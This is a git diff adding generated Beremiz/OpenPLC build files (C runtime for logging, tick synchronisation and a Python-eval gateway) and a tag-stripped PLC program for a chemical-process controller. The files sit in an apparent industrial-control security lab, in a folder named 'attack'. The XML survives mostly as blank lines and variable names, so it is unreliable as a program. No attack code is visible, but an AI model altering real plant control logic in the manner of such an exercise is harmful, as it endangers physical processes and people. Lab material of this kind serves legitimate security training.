>> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + 